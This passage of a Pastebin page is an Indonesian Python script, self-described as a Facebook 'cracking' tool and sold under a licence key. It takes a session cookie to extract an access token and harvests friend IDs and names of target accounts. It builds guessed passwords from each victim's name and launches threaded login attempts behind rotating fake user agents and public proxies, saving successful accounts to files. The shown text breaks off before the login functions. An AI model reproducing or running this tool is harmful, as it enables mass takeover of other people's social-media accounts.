OBF-XIn

116.206.8.60-/sdcard/gem.py.py

Jan 17th, 2023
36
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 61.65 KB | None | 0 0
  1.  
  2. ### SCRIPT BY LUXINE-DEV ###
  3. import requests,bs4,json,os,sys,random,datetime,time,re
  4. import urllib3,rich,base64
  5. from rich.tree import Tree
  6. from rich import print as cetak
  7. from rich.table import Table as me
  8. from rich.console import Console as sol
  9. from bs4 import BeautifulSoup as sop
  10. from rich.progress import Progress,BarColumn,TextColumn,TimeElapsedColumn
  11. from rich.progress import SpinnerColumn
  12. from concurrent.futures import ThreadPoolExecutor as tred
  13. from rich.panel import Panel as nel
  14. from rich import print as cetak
  15. from rich.columns import Columns as col
  16. from rich import print as prints
  17. from rich import pretty
  18. from rich.text import Text as tekz
  19. ###----------[ WARNA PRINT RICH ]---------- ###
  20. M2 = "[#FF0000]" # MERAH
  21. H2 = "[#00FF00]" # HIJAU
  22. K2 = "[#FFFF00]" # KUNING
  23. B2 = "[#00C8FF]" # BIRU
  24. P2 = "[#FFFFFF]" # PUTIH
  25. try:
  26.     file_color = open("data/theme_color","r").read()
  27.     color_text = file_color.split("|")[0]
  28.     color_panel = file_color.split("|")[1]
  29. except:
  30.     color_text = "[#FFFFFF]"
  31.     colorbapa = random.choice([H2,K2,M2,B2,P2])
  32.     color_panel = "FFFFFF"
  33. pretty.install()
  34. CON=sol()
  35. ugen2=[]
  36. ugen=[]
  37. proxxy=[]
  38. cokbrut=[]
  39. ses=requests.Session()
  40. princp=[]
  41. HARIS, HARIS1, method, ugen, ugen3, ugen2, baru, zx, prox, menudump, uazpepek = {}, {}, [], [], [], [], [], [], [], [], []
  42. s = requests.Session()
  43. UaNgentodMuach = []
  44.  
  45. def uaku():
  46.     rr = random.randint
  47.     rc = random.choice
  48.     uakuih1 = f"Mozilla/5.0 (Linux; U; Android {str(rr(9,12))}; ru-ru; Redmi K20 Pro Premium Edition Build/QKQ1.{str(rr(111111,199999))}.002) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/{str(rr(71,99))}.0.{str(rr(3500,3900))}.{str(rr(140,150))} Mobile Safari/537.36 XiaoMi/MiuiBrowser/12.5.2-go"
  49.     uakuih2 = f"Mozilla/5.0 (Linux; Android {str(rr(9,12))}; SM-G950W Build/PPR1.{str(rr(111111,199999))}.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/{str(rr(75,150))}.0.{str(rr(5500,5900))}.{str(rr(73,99))} Mobile Safari/537.36 Flipboard/4.3.0/{str(rr(5300,5500))},4.3.0.{str(rr(5300,5500))}"
  50.     uakuih3 = f"Mozilla/5.0 (Linux; Android 13; SAMSUNG SM-N985F) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/19.0 Chrome/{str(rr(75,150))}.0.{str(rr(5500,5900))}.{str(rr(75,150))} Mobile Safari/537.36 Android"
  51.     uakuih4 = f"Mozilla/5.0 (Linux; Android {str(rr(9,12))}; Infinix X683 Build/QP1A.{str(rr(111111,199999))}.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/{str(rr(100,150))}.0.{str(rr(5300,5900))}.{str(rr(75,150))} Mobile Safari/537.36 GoogleApp/13.47.8.26.arm64"
  52.     uakuih5 = f"Mozilla/5.0 (Linux; Android {str(rr(1,8))}.1.0; VSD243 Build/OPM8.{str(rr(111111,199999))}.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/{str(rr(60,75))}.0.{str(rr(3100,3500))}.{str(rr(75,99))} Safari/537.36"
  53.     uakuih6 = f"Mozilla/5.0 (Linux; Android {str(rr(4,7))}.{str(rr(1,5))}; EK-GC200 Build/JSS15J) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/{str(rr(60,99))}.0.{str(rr(3400,3900))}.{str(rr(100,150))} Mobile Safari/537.36"
  54.     uakuih = str(rc([uakuih1, uakuih2, uakuih3, uakuih4, uakuih5, uakuih6]))
  55.     return uakuih
  56.  
  57. for xd in range(10000):
  58.     a='Mozilla/5.0 (Symbian/3; Series60/5.2'
  59.     b=random.randrange(1, 9)
  60.     c=random.randrange(1, 9)
  61.     d='NokiaN8-00/012.002;'
  62.     e=random.randrange(100, 9999)
  63.     f='Profile/MIDP-2.1 Configuration/CLDC-1.1 ) AppleWebKit/533.4 (KHTML, like Gecko) NokiaBrowser/'
  64.     g=random.randrange(1, 9)
  65.     h=random.randrange(1, 4)
  66.     i=random.randrange(1, 4)
  67.     j=random.randrange(1, 4)
  68.     k='7.3.0 Mobile Safari/533.4 3gpp-gba'
  69.     uaku=(f'{a}{b}.{c} {d}{e}{f}{g}.{h}.{i}.{j} {k}')
  70.     ugen2.append(uaku)
  71.     ###----------[ User Agent Linux ]---------- ###
  72.     aa='Mozilla/5.0 (Linux; Android 10;'
  73.     b=random.choice(['6','7','8','9','10','11','12'])
  74.     c='SM-N9600 Build/QP1A.190711.020; wv)'
  75.     d=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
  76.     e=random.randrange(1, 999)
  77.     f=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
  78.     g='AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/97.0.4692.98'
  79.     h=random.randrange(73,100)
  80.     i='0'
  81.     j=random.randrange(4200,4900)
  82.     k=random.randrange(40,150)
  83.     l='Mobile Safari/537.36 T7/13.26 SP-engine/2.64.0 baiduboxapp/13.26.0.10 (Baidu; P1 10) NABar/1.0 dumedia/7.39.71.13'
  84.     uaku2=f'{aa} {b}; {c}{d}{e}{f}) {g}{h}.{i}.{j}.{k} {l}'
  85.     ugen.append(uaku2)
  86. for x in range(1000):
  87.     rr = random.randint
  88.     rc = random.choice
  89.     luxV1 = f"Mozilla/5.0 (Linux; Android 12; CPH2127 Build/RKQ1.{str(rr(211111,299999))}.001) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/{str(rr(73,99))}.0.{str(rr(4500,4900))}.{str(rr(75,150))} Mobile Safari/537.36"
  90.     luxV2  = f"Mozilla/5.0 (Linux; Android {str(rr(7,12))}; RMX3195 Build/SP1A.210812.016; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/{str(rr(75,150))}.0.{str(rr(5111,5999))}.{str(rr(73,99))} Mobile Safari/537.36"
  91.     luxV3  = f"Mozilla/5.0 (Linux; Android 9; vivo 1904 Build/PPR1.{str(rr(111111,199999))}.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/{str(rr(73,99))}.0.{str(rr(4500,4900))}.{str(rr(75,150))} Mobile Safari/537.36 wkbrowser 5.0.17 {str(rr(2111111,2999999))} js 5.1.1 newfocus lng=ru"
  92.     luxV4  = f"Mozilla/5.0 (Linux; Android 9{str(rr(7,12))}; RMX1811) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/{str(rr(75,150))}.0.{str(rr(5111,5999))}.{str(rr(73,99))} Mobile Safari/537.36"
  93.     luxV5 = f"Mozilla/5.0 (Linux; Android 12{str(rr(7,12))}; IN2013) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/{str(rr(75,150))}.0.{str(rr(5111,5999))}.{str(rr(73,99))} Mobile Safari/537.36"
  94.     ua_luxine_ = str(rc([luxV1,luxV2,luxV3,luxV4,luxV5]))
  95.     ugen.append(ua_luxine_)
  96. try:
  97.     url_proxy = random.choice([
  98.               "https://raw.githubusercontent.com/TheSpeedX/SOCKS-List/master/socks5.txt",
  99. ])
  100. except:pass
  101. #------------------[ PROXIES ]-------------------#
  102. try:
  103.     url = requests.get(f"{url_proxy}").text
  104.     for ikfar in url.splitlines():proxxy.append(ikfar)
  105. except requests.exceptions.ConnectionError:
  106.    prints(nel(f"{P2}Anda Tidak Terhubung Ke Internet, Silahkan Periksa Koneksi Internet Anda",width=80,padding=(0,2),style=f"{color_panel}"));exit()
  107.  
  108. id,id2,loop,ok,cp,akun,oprek,method,lisensiku,taplikasi,tokenku,uid,lisensikuni= [],[],0,0,0,[],[],[],[],[],[],[],[]
  109. cokbrut=[]
  110. pwpluss,pwnya=[],[]
  111. P = '\x1b[1;97m'
  112. M = '\x1b[1;91m'
  113. H = '\x1b[1;92m'
  114. K = '\x1b[1;93m'
  115. B = '\x1b[1;94m'
  116. U = '\x1b[1;95m'
  117. O = '\x1b[1;96m'
  118. N = '\x1b[0m'    
  119. Z = "\033[1;30m"
  120. sir = '\033[41m\x1b[1;97m'
  121. x = '\33[m' # DEFAULT
  122. m = '\x1b[1;91m' #RED +
  123. k = '\033[93m' # KUNING +
  124. h = '\x1b[1;92m' # HIJAU +
  125. hh = '\033[32m' # HIJAU -
  126. u = '\033[95m' # UNGU
  127. kk = '\033[33m' # KUNING -
  128. b = '\33[1;96m' # BIRU -
  129. p = '\x1b[0;34m' # BIRU +
  130. asu = random.choice([m,k,h,u,b])
  131. dic = {'1':'January','2':'February','3':'March','4':'April','5':'May','6':'June','7':'July','8':'August','9':'September','10':'October','11':'November','12':'December'}
  132. dic2 = {'01':'January','02':'February','03':'March','04':'April','05':'May','06':'June','07':'July','08':'August','09':'September','10':'October','11':'November','12':'Devember'}
  133. tgl = datetime.datetime.now().day
  134. bln = dic[(str(datetime.datetime.now().month))]
  135. thn = datetime.datetime.now().year
  136. okc = 'OK-'+str(tgl)+'-'+str(bln)+'-'+str(thn)+'.txt'
  137. cpc = 'CP-'+str(tgl)+'-'+str(bln)+'-'+str(thn)+'.txt'
  138. def author_dev(u):
  139.         for e in u + "\n":sys.stdout.write(e);sys.stdout.flush();time.sleep(0.02)
  140.        
  141. def jalan(keliling):
  142.     for mau in keliling + '\n':
  143.         sys.stdout.write(mau)
  144.         sys.stdout.flush();sleep(0.03)
  145.        
  146.        
  147. def clear():
  148.     os.system('clear')
  149. def back():
  150.     login()
  151.    
  152. def none():
  153.     clear()
  154. def info():
  155.     print('')
  156. def banner():
  157.     clear()
  158.     print(f"""{P}\t                  
  159. _____ _____ _____
  160. |     | __  |   __|
  161. | | | | __ -|   __|
  162. |_|_|_|_____|__|  
  163.                   """)
  164. def lixen():
  165.     banner()
  166.     what = print
  167.     what(f'{P}ketik {H}open {P} untuk membeli lisensi')
  168.     whats = input(f'{B}• {P}Masukan Lisensi : ')
  169.     if whats in ['']:
  170.         what(f'jangan kosong')
  171.         exit()
  172.     elif whats in ['open','OPEN','Open']:
  173.         os.system('xdg-open http://wa.me/6289669084331')
  174.         print(f'bay bay')
  175.         exit()
  176.     elif whats in ['DWNFMCKPDHTTAZF']:
  177.         author_dev(f'{H}[✓] {P}SELAMAT LISENSI ANDA BERHASIL')
  178.         login_appendi()
  179.     else:
  180.         print(f'{M}[×]{P} lisensi yang anda masukan salah')
  181. def login_appendi():
  182.     try:
  183.         token = open('.token.txt','r').read()
  184.         cok = open('.cok.txt','r').read()
  185.         tokenku.append(token)
  186.         try:
  187.             _belajar_dulu_baru_ngoding = requests.get('https://graph.facebook.com/me?fields=id,name&access_token='+tokenku[0], cookies={'cookie':cok})
  188.             menu()
  189.         except KeyError:
  190.             login_append()
  191.         except requests.exceptions.ConnectionError:
  192.             exit()
  193.     except IOError:
  194.         login_append()
  195. def login_append():
  196.     try:
  197.         os.system('clear')
  198.         banner()
  199.         ses = requests.Session()
  200.         print(f'{B}• {P}1. crack file')
  201.         print(f'{B}• {P}2. login cookie')
  202.         menuxc = input(f'{B}• {P}Pilih : ')
  203.         if menuxc in['1','01']:
  204.             _luxine_file()
  205.         else:
  206.             print('')
  207.         cookie = input(f'\n{B}• {P}masukan cookie : ')
  208.         cookies = {'cookie':cookie}
  209.         url = 'https://www.facebook.com/adsmanager/manage/campaigns'
  210.         req = ses.get(url,cookies=cookies)
  211.         set = re.search('act=(.*?)&nav_source',str(req.content)).group(1)
  212.         nek = '%s?act=%s&nav_source=no_referrer'%(url,set)
  213.         roq = ses.get(nek,cookies=cookies)
  214.         tok = re.search('accessToken="(.*?)"',str(roq.content)).group(1)
  215.         tokenw = open(".token.txt", "w").write(tok)
  216.         cokiew = open(".cok.txt", "w").write(cookie)
  217.         print(f'\n{B}• {P}login berhasil ')
  218.         ketix = input(f'{B}• {P}ketik {H}open {P}untuk masuk kedalam menu : ')
  219.         if open in ['open','Open','OPEN']:
  220.             login_appendi()
  221.         else:
  222.             login_appendi()
  223.     except Exception as e:
  224.         os.system("rm -f .token.txt")
  225.         os.system("rm -f .cok.txt")
  226.         print(f'{B}• {P}login error')
  227.         exit()
  228. def menu():
  229.     try:
  230.         token = open('.token.txt','r').read()
  231.         cok = open('.cok.txt','r').read()
  232.     except IOError:
  233.         print('')
  234.     os.system('clear')
  235.     banner()
  236.     print(f'{P}[{M}01{P}]. dump id dari temen')
  237.     print(f'{P}[{M}02{P}]. dump id dari temen massal')
  238.     print(f'{P}[{M}03{P}]. dump dari file')
  239.     print(f'{P}[{M}04{P}]. informasi author')
  240.     print(f'{P}[{M}00{P}]. keluar')
  241.     menu = input(f'{B}• {P}menu : ')
  242.     print('')
  243.     if menu in ['1','01']:_flog_lux__()
  244.     elif menu in ['2','02']:_flog_lux_()
  245.     elif menu in ['3','03']:rking()
  246.     elif menu in ['4','04']:__flog_lux__()
  247.     elif menu in ['0','00']:
  248.         os.system('rm -rf .token.txt')
  249.         os.system('rm -rf .cok.txt')
  250.         exit()
  251.     else:
  252.         back()
  253. def __flog_lux__():
  254.     author_dev(f'{B}• {P}author : luxine\n{B}• {P}script : cracking toll facebook\n{B}• {P}github : luxine-dev17\n{B}• {P}versi  : 1.0.0')
  255.     en = input(f'{B}• {P}[ enter untuk kembali ke menu ]')
  256.     login_appendi()
  257. def error():
  258.     print(f'╰─ Sorry, this feature is still being fixed {x}')
  259.     time.sleep(4)
  260.     back()
  261. def _flog_lux__():
  262.     try:
  263.         token = open('.token.txt','r').read()
  264.         kukis = open('.cok.txt','r').read()
  265.     except IOError:
  266.         exit()
  267.     pil = input(f'{B}•{P} Masukan Username/Id target : ')
  268.     try:
  269.         koh2 = requests.get('https://graph.facebook.com/v1.0/'+pil+'?fields=friends.limit(5000)&access_token='+tokenku[0],cookies={'cookie': kukis}).json()
  270.         for pi in koh2['friends']['data']:
  271.             try:id.append(pi['id']+'|'+pi['name'])
  272.             except:continue
  273.         print('')
  274.         print(f' TOTAL {H}{len(id)}{P}')
  275.         _lanjut_()
  276.     except requests.exceptions.ConnectionError:
  277.         print(' Internetmu abis')
  278.         exit()
  279.     except (KeyError,IOError):
  280.         print('Pertemanan Tidak Publick')
  281.         exit()
  282.  
  283. def _flog_lux_():
  284.     #print(f'{H} soory menu ini m')
  285. #   sory = input(f'{B}• {P}[ENTER]')
  286.     try:
  287.         token = open('.token.txt','r').read()
  288.         cok = open('.cok.txt','r').read()
  289.     except IOError:
  290.         exit()
  291.     try:
  292.         jum = int(input(f'{B}• {P}mau berapa target : '))
  293.     except ValueError:
  294.         print('angka om jangan huruf ')
  295.         exit()
  296.     if jum<1 or jum>100:
  297.         print('Dump Id not public ')
  298.         exit()
  299.     ses=requests.Session()
  300.     yz = 0
  301.     for met in range(jum):
  302.         yz+=1
  303.         kl = input(f'{B}• {P}masukan id ke {yz}')
  304.         uid.append(kl)
  305.     for userr in uid:
  306.         try:
  307.             col = ses.get('https://graph.facebook.com/v2.0/'+userr+'?fields=friends.limit(5000)&access_token='+tokenku[0], cookies = {'cookies':cok}).json()
  308.             for mi in col['friends']['data']:
  309.                 try:
  310.                     iso = (mi['id']+'|'+mi['name'])
  311.                     if iso in id:pass
  312.                     else:id.append(iso)
  313.                 except:continue
  314.         except (KeyError,IOError):
  315.             pass
  316.         except requests.exceptions.ConnectionError:
  317.             print('signal ')
  318.             exit()
  319.     try:
  320.         print('')
  321.         print(f' TOTAL {len(id)}')
  322.         _lanjut_()
  323.     except requests.exceptions.ConnectionError:
  324.         print(f'{x}')
  325.         print('signal ')
  326.         back()
  327.     except (KeyError,IOError):
  328.         print(f'Not Public {x}')
  329.         time.sleep(3)
  330.         back()
  331.        
  332. def result():
  333.     print('╰─ 1. Hasil CP Anda ')
  334.     print('╰─ 2. Hasil OK Anda ')
  335.     print('╰─ 0. Kembali    ')
  336.     kz = input('\n╰─ Chouse : ')
  337.     print('')
  338.     if kz in ['1','01']:
  339.         try:vin = os.listdir('CP')
  340.         except FileNotFoundError:
  341.             print('╰─ File Tidak Di Temukan ')
  342.             time.sleep(3)
  343.             back()
  344.         if len(vin)==0:
  345.             print('╰─ Anda Tidak Memiliki Hasil CP ')
  346.             time.sleep(2)
  347.             back()
  348.         else:
  349.             cih = 0
  350.             lol = {}
  351.             for isi in vin:
  352.                 try:hem = open('CP/'+isi,'r').readlines()
  353.                 except:continue
  354.                 cih+=1
  355.                 if cih<10:
  356.                     nom = ''+str(cih)
  357.                     lol.update({str(cih):str(isi)})
  358.                     lol.update({nom:str(isi)})
  359.                     print(''+nom+'. '+isi+'\033[31m '+str(len(hem))+' \033[0mcekpoint '+x)
  360.                 else:
  361.                     lol.update({str(cih):str(isi)})
  362.                     print(''+str(cih)+'. '+isi+'\033[31m '+str(len(hem))+' \033[0mcekpoint '+x)
  363.             geeh = input('\n╰─ Chouse : ')
  364.             print('')
  365.             try:geh = lol[geeh]
  366.             except KeyError:
  367.                 print('╰─ Pilih Yang Bener Kontol ')
  368.                 exit()
  369.             try:lin = open('CP/'+geh,'r').read().splitlines()
  370.             except:
  371.                 print('╰─ File Tidak Di Temukan ')
  372.                 time.sleep(2)
  373.                 back()
  374.             nocp=0
  375.             for cpku in range(len(lin)):
  376.                 cpkuni=lin[nocp].split('|')
  377.                 print(f'╰─CP\033[33m {cpkuni[0]}|{cpkuni[1]}\033[0m')
  378.                 nocp +=1
  379.             input('\n╰─ Back Enter ')
  380.             back()
  381.     elif kz in ['2','02']:
  382.         try:vin = os.listdir('OK')
  383.         except FileNotFoundError:
  384.             print('╰─ File Tidak Di Temukan ')
  385.             time.sleep(2)
  386.             back()
  387.         if len(vin)==0:
  388.             print('╰─ Anda Tidak Mempunyai File OK ')
  389.             time.sleep(2)
  390.             back()
  391.         else:
  392.             cih = 0
  393.             lol = {}
  394.             for isi in vin:
  395.                 try:hem = open('OK/'+isi,'r').readlines()
  396.                 except:continue
  397.                 cih+=1
  398.                 if cih<100:
  399.                     nom = ''+str(cih)
  400.                     lol.update({str(cih):str(isi)})
  401.                     lol.update({nom:str(isi)})
  402.                     print(''+nom+'. '+isi+'\033[32m '+str(len(hem))+' \033[0mSucses '+x)
  403.                 else:
  404.                     lol.update({str(cih):str(isi)})
  405.                     print(''+str(cih)+'. '+isi+'\033[32m '+str(len(hem))+' \033[0mSucses '+x)
  406.             geeh = input('\n╰─ Chouse : ')
  407.             try:geh = lol[geeh]
  408.             except KeyError:
  409.                 print('╰─ Pilih Yang Bener Kontol ')
  410.                 exit()
  411.             try:lin = open('OK/'+geh,'r').read().splitlines()
  412.             except:
  413.                 print('╰─ File Tidak Di Temukan ')
  414.                 time.sleep(2)
  415.                 back()
  416.             nocp=0
  417.             for cpku in range(len(lin)):
  418.                 cpkuni=lin[nocp].split('|')
  419.                 print(f'\n╰─OK\033[32m {cpkuni[0]}|{cpkuni[1]}|\033[32m{cpkuni[2]}\033[0m')
  420.                 nocp +=1
  421.             input('\n╰─ Back Enter ')
  422.             back()
  423.     elif kz in ['0','00']:
  424.         back()
  425.     else:
  426.         print('╰─ Pilih Yang Bener Kontol ')
  427.         exit()
  428.  
  429. def rking():
  430.     try:vin = os.listdir('/sdcard/RKING')
  431.     except FileNotFoundError:
  432.         print('>> File Tidak Ditemukan ')
  433.         time.sleep(2)
  434.         back()
  435.     if len(vin)==0:
  436.         print('')
  437.         kontol = input(f'\n{B}• {P}ENTER')
  438.         if kontil in ['']:
  439.             time.sleep(3)
  440.             back()
  441.             exit()
  442.         print('>> Anda Tidak Memiliki File Dump ')
  443.         time.sleep(2)
  444.         back()
  445.     else:
  446.         cih = 0
  447.         lol = {}
  448.         for isi in vin:
  449.             try:hem = open('/sdcard/RKING/'+isi,'r').readlines()
  450.             except:continue
  451.             cih+=1
  452.             if cih<100:
  453.                 nom = ''+str(cih)
  454.                 lol.update({str(cih):str(isi)})
  455.                 lol.update({nom:str(isi)})
  456.                 print(f' %s. %s ({h} %s{x} )'%(nom,isi,len(hem)))
  457.             else:
  458.                 lol.update({str(cih):str(isi)})
  459.                 print('['+str(cih)+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
  460.                 print('%s. %s ({h} %s {x}idz) '%(cih,isi,len(hem)))
  461.         geeh = input(f'\n{B}• {P}Pilih : ')
  462.         try:geh = lol[geeh]
  463.         except KeyError:
  464.             print(f'{k}>> Pilih Yang Bener Sayang {x}')
  465.             time.sleep(3)
  466.             back()
  467.         try:lin = open('/sdcard/RKING/'+geh,'r').read().splitlines()
  468.         except:
  469.             print('>> File Tidak Ditemukan, Coba Lagi Nanti ')
  470.             time.sleep(2)
  471.             back()
  472.         for xid in lin:
  473.             id.append(xid)
  474.         _lanjut_()
  475. def _lanjut_():
  476.     for bacot in id:
  477.             xx = random.randint(0,len(id2))
  478.             id2.insert(xx,bacot)
  479.        
  480.     print('')
  481.     print(f'{P}[{M}01{P}] {H}validate')
  482.     print(f'{P}[{M}02{P}]{B} reguler')
  483.     print(f'{P}[{M}03{P}]{K} async')
  484.     hc = input(f'{B}• {P}Url : ')
  485.     print('')
  486.     if hc in ['1','01']:
  487.         validate()
  488.     elif hc in ['2','02']:
  489.         reguler()
  490.     elif hc in ['3','03']:
  491.         method.append('asyn')
  492.         set_cok()
  493.     else:
  494.         print('ulang')
  495.         _lanjut_()
  496. def validate():
  497.     print(f'{P}[{M}01{P}] m.facebook')
  498.     print(f'{P}[{M}02{P}] free.facebook')
  499.     print(f'{P}[{M}03{P}] mbasic.facebook')
  500.     print(f'{P}[{H}04{P}] m.facebook {P}({H}cookie{P})')
  501.     vali = input(f'{B}• {P}validate metode : ')
  502.     if vali in ['1','01']:
  503.         method.append('mobile')
  504.         set_cok()
  505.     elif vali in ['4','04']:
  506.         method.append('cokiees')
  507.         set_cok()
  508.     else:
  509.         method.append('mobile')
  510.         set_cok()
  511. def reguler():
  512.     print(f'{P}[{M}01{P}] m.facebook')
  513.     print(f'{P}[{M}02{P}] free.facebook')
  514.     print(f'{P}[{M}03{P}] mbasic.facebook')
  515.     reg = input(f'{B}• {P}reguler metode : ')
  516.     method.append('free')
  517.     set_cok()
  518. def set_cok():
  519.     setpw()
  520. def api():
  521.     print(f'---------------[ API ]---------------')
  522.     print(f'{P}[{M}01{P}] b-api graph')
  523.     ap = input(f'{B}• {P}Metode : ')
  524.     method.append('free')
  525.     set_cok = input(f'{B}• {P}Tampilkan Cookie : ')
  526.     if set_cok in ['Y','y']:
  527.         method.append('cokiees')
  528.     else:
  529.         setpw()
  530. def setpw():
  531.     pwzku()
  532. def pwzku():
  533.     global prog,des
  534.     print('')
  535.     print(f'{P}[{M}•{P}] RESULT {H}{okc}{P}')
  536.     print(f'{P}[{M}•{P}] RESULT {K}{okc}{P}')
  537.     print('')
  538.     prog = Progress(SpinnerColumn('clock'),TextColumn('{task.description}'),BarColumn(),TextColumn('{task.percentage:.0f}%'))
  539.     des = prog.add_task('',total=len(id))
  540.     with prog:
  541.         with tred(max_workers=30) as pool:
  542.             for yuzong in id2:
  543.                 idf,nmf = yuzong.split('|')[0],yuzong.split('|')[1].lower()
  544.                 frs = nmf.split(' ')[0]
  545.                 pwv = []
  546.                 if len(nmf)<6:
  547.                     if len(frs)<3:
  548.                         pass
  549.                     else:
  550.                         pwv.append(nmf)
  551.                         pwv.append(frs+'123')
  552.                         pwv.append(frs+'12345')
  553.                 else:
  554.                     if len(frs)<3:
  555.                         pwv.append(nmf)
  556.                     else:
  557.                         pwv.append(nmf)
  558.                         pwv.append(frs+'123')
  559.                         pwv.append(frs+'12345')
  560.                 if 'ya' in pwpluss:
  561.                     for xpwd in pwnya:
  562.                         pwv.append(xpwd)
  563.                 else:pass
  564.                 if 'mobile' in method:
  565.                     pool.submit(crack,idf,pwv)
  566.                 elif 'free' in method:
  567.                     pool.submit(crackfree,idf,pwv)
  568.                 elif 'mbasic' in method:
  569.                     pool.submit(crackmbasic,idf,pwv)
  570.                 elif 'asyn' in method:
  571.                     pool.submit(asyn,idf,pwv)
  572.                 elif 'cokiees' in method:
  573.                     pool.submit(cok_kie,idf,pwv)
  574.                 else:
  575.                     pool.submit(crack,idf,pwv)
  576.         print('')
  577.         print(f'{P}[{H}√{P}] JUMBLAH LIVE :{ok} ')
  578.         print(f'{P}[{M}×{P}] JUMBLAH CHECK :{cp}')
  579.         print('')
  580. def passu():
  581.     global prog,des
  582.     print('')
  583.     print(f'{P}[{H}•{P}] RESULT : {h}OK/%s {x}'%(okc))
  584.     print(f'{P}[{M}•{P}] RESULT : {k}CP/%s {x}'%(cpc))
  585.     print('')
  586.     prints(f' Mati/hidupkan Mode terbang 500 id Jika Tidak Ada Hasil\n')
  587.     prog = Progress(SpinnerColumn('clock'),TextColumn('{task.description}'),BarColumn(),TextColumn('{task.percentage:.0f}%'))
  588.     des = prog.add_task('',total=len(id))
  589.     with prog:
  590.         with tred(max_workers=30) as pool:
  591.             for yuzong in id2:
  592.                 idf,nmf = yuzong.split('|')[0],yuzong.split('|')[1].lower()
  593.                 frs = nmf.split(' ')[0]
  594.                 pwv = []
  595.                 if len(nmf)<6:
  596.                     if len(frs)<3:
  597.                         pass
  598.                     else:
  599.                         pwv.append(nmf)
  600.                         pwv.append(frs+'123')
  601.                         pwv.append(frs+'1234')
  602.                         pwv.append(frs+'12345')
  603.                 else:
  604.                     if len(frs)<3:
  605.                         pwv.append(nmf)
  606.                     else:
  607.                         pwv.append(nmf)
  608.                         pwv.append(frs+'123')
  609.                         pwv.append(frs+'1234')
  610.                         pwv.append(frs+'12345')
  611.                 if 'ya' in pwpluss:
  612.                     for xpwd in pwnya:
  613.                         pwv.append(xpwd)
  614.                 else:pass
  615.                 if 'mobile' in method:
  616.                     pool.submit(crack,idf,pwv)
  617.                 elif 'free' in method:
  618.                     pool.submit(crackfree,idf,pwv)
  619.                 elif 'mbasic' in method:
  620.                     pool.submit(crackmbasic,idf,pwv)
  621.                 else:
  622.                     pool.submit(crack,idf,pwv)
  623.         print('')
  624.         cetak('╰─ Sucses Cracked %s Ok:%s Cp:%s Akuntod'%((len(id)),ok,cp))
  625.         print('')
  626. def sulap():
  627.     global prog,des
  628.     print('')
  629.     print(f'╰─ {h}OK{x} Save in : {h}OK/%s {x}'%(okc))
  630.     print(f'╰─ {k}CP{x} Save in : {k}CP/%s {x}'%(cpc))
  631.     print(f'{B}• {P}crack mengunakan password manual')
  632.     prog = Progress(SpinnerColumn('clock'),TextColumn('{task.description}'),BarColumn(),TextColumn('{task.percentage:.0f}%'))
  633.     des = prog.add_task('',total=len(id))
  634.     with prog:
  635.         with tred(max_workers=30) as pool:
  636.             for yuzong in id2:
  637.                 idf,nmf = yuzong.split('|')[0],yuzong.split('|')[1].lower()
  638.                 frs = nmf.split(' ')[0]
  639.                 pwv = []
  640.                 if len(nmf)<6:
  641.                     if len(frs)<3:
  642.                         pass
  643.                     else:
  644.                         pwv.append(nmf)
  645.                         pwv.append(frs+'123')
  646.                         pwv.append(frs+'12345')
  647.                         pwv.append(frs+'123456')
  648.                 else:
  649.                     if len(frs)<3:
  650.                         pwv.append(nmf)
  651.                     else:
  652.                         pwv.append(nmf)
  653.                         pwv.append(frs+'123')
  654.                         pwv.append(frs+'12345')
  655.                         pwv.append(frs+'123456')
  656.                 if 'ya' in pwpluss:
  657.                     for xpwd in pwnya:
  658.                         pwv.append(xpwd)
  659.                 else:pass
  660.                 if 'mobile' in method:
  661.                     pool.submit(crack,idf,pwv)
  662.                 elif 'free' in method:
  663.                     pool.submit(crackfree,idf,pwv)
  664.                 elif 'mbasic' in method:
  665.                     pool.submit(crackmbasic,idf,pwv)
  666.                 else:
  667.                     pool.submit(crack,idf,pwv)
  668.         print('')
  669.         cetak('╰─ Sucses Cracked %s Ok:%s Cp:%s Akuntod'%((len(id)),ok,cp))
  670.         print('')
  671.        
  672. def babi():
  673.     global prog,des
  674.     print('')
  675.     print(f'╰─ {h}OK{x} Save in : {h}OK/%s {x}'%(okc))
  676.     print(f'╰─ {k}CP{x} Save in : {k}CP/%s {x}'%(cpc))
  677. #   print(f'╰─ Mati/hidupkan Mode terbang 500 id Jika Tidak Ada Hasil\n')
  678.     prog = Progress(SpinnerColumn('clock'),TextColumn('{task.description}'),BarColumn(),TextColumn('{task.percentage:.0f}%'))
  679.     des = prog.add_task('',total=len(id))
  680.     with prog:
  681.         with tred(max_workers=30) as pool:
  682.             for yuzong in id2:
  683.                 idf,nmf = yuzong.split('|')[0],yuzong.split('|')[1].lower()
  684.                 frs = nmf.split(' ')[0]
  685.                 pwv = []
  686.                 if len(nmf)<6:
  687.                     if len(frs)<3:
  688.                         pass
  689.                     else:
  690.                         pwv.append(nmf)
  691.                         pwv.append(frs+'321')
  692.                         pwv.append(frs+'123')
  693.                         pwv.append(frs+'12345')
  694.                 else:
  695.                     if len(frs)<3:
  696.                         pwv.append(nmf)
  697.                     else:
  698.                         pwv.append(nmf)
  699.                         pwv.append(frs+'321')
  700.                         pwv.append(frs+'123')
  701.                         pwv.append(frs+'12345')
  702.                 if 'ya' in pwpluss:
  703.                     for xpwd in pwnya:
  704.                         pwv.append(xpwd)
